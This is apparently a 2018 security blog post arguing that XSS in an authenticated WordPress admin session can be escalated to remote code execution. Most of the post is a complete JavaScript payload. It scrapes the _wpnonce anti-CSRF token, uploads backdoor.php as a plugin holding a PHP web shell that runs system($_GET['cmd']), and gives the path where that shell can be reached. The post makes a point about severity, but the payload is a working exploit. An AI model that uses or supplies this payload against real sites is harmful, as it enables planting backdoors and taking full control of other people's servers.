__
__ __ _____ _____ \ \ _____ _____ _____
| | | __| __| ___ \ \ | __ | | __|
|- -|__ |__ | |___| > > | -| --| __|
|__|__|_____|_____| / / |__|__|_____|_____|
/_/
2018-01-25
RCE VIA XSS IN WORDPRESS
========================
In my experience, cross-site-scripting (XSS) has been seen upon as an issue of lesser severity,
as people have often though of it as an issue that only affects users of webapps.
However, it's important to realize that when you obtain XSS in an authenticated context,
e.g. an administrator, then you can do anything that the admin can.
EXAMPLE: WORDPRESS
==================
In WordPress, administrators can upload plugins. Plugins may contain PHP files, and are accessible
by unauthenticated users. So, a good action to perform via XSS would be to make an XSS payload that
forces the admin user into upload a PHP webshell. This could be done with AJAX.
Trying that we realize that the plugin upload functionality has protection against CSRF, such that
anyone can't fool an admin into uploading malicious plugins via a single click. We need to bypass
that somehow.
WordPress's anti-CSRF token is called nonce and generated with the built-in function
wp_create_nonce() and verified with wp_verify_nonce(). It's usually stored in an HTML element named
_wpnonce, so we have to get one of those to succeed in uploading a webshell. The attack boils down to:
1. steal nonce
2. upload plugin, with nonce
The following payload will upload backdoor.php containing <?php echo system($_GET['cmd']); ?>
which afterwards will be accessible in /wp-content/uploads/<year>/<month>/backdoor.php
Video demonstration:
youtube.com/watch?v=oifGQlO-PqIdumpco.re/evil/wordpressxss2rce.js:
1 // step 1: get CSRF-protection nonce from /wp-admin/plugin-install.php
2 var ajax = new XMLHttpRequest();
3
ajax.open("GET","/wp-admin/plugin-install.php",true);
4 ajax.onreadystatechange = function(){
5 if(this.readyState == 4){
6 if(this.status == 200){
7 var re = /id="_wpnonce" name="_wpnonce" value="(\w+)"/;
8 var result = this.responseText.match(re);
9 var nonce = result[1];
10
11 // step 2: upload webshell
12 var xhr = new XMLHttpRequest();
13
xhr.open("POST", "/wp-admin/update.php?action=upload-plugin", true);
14 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
15 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
16 xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------106557699112863554041057400679");
17 xhr.withCredentials = true;
18 var body = "-----------------------------106557699112863554041057400679\r\n" +
19 "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +
20 "\r\n" +
21 nonce + "\r\n" +
22 "-----------------------------106557699112863554041057400679\r\n" +
23 "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +
24 "\r\n" +
25 "/wp-admin/plugin-install.php\r\n" +
26 "-----------------------------106557699112863554041057400679\r\n" +
27 "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"backdoor.php\"\r\n" +
28 "Content-Type: text/php\r\n" +
29 "\r\n" +
30 "\x3c?php echo system($_GET[\'cmd\']); ?\x3e\r\n" +
31 "-----------------------------106557699112863554041057400679\r\n" +
32 "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" +
33 "\r\n" +
34 "Install Now\r\n" +
35 "-----------------------------106557699112863554041057400679--\r\n";
36 var aBody = new Uint8Array(body.length);
37 for (var i = 0; i < aBody.length; i++)
38 aBody[i] = body.charCodeAt(i);
39 xhr.send(new Blob([aBody]));
40 }
41 }
42 }
43 ajax.send();
44 // step 3: access backdoor.php in /wp-content/uploads/<year>/<month>/backdoor.php
CONCLUSION
==========
XSS can be just as powerful as your most powerful users.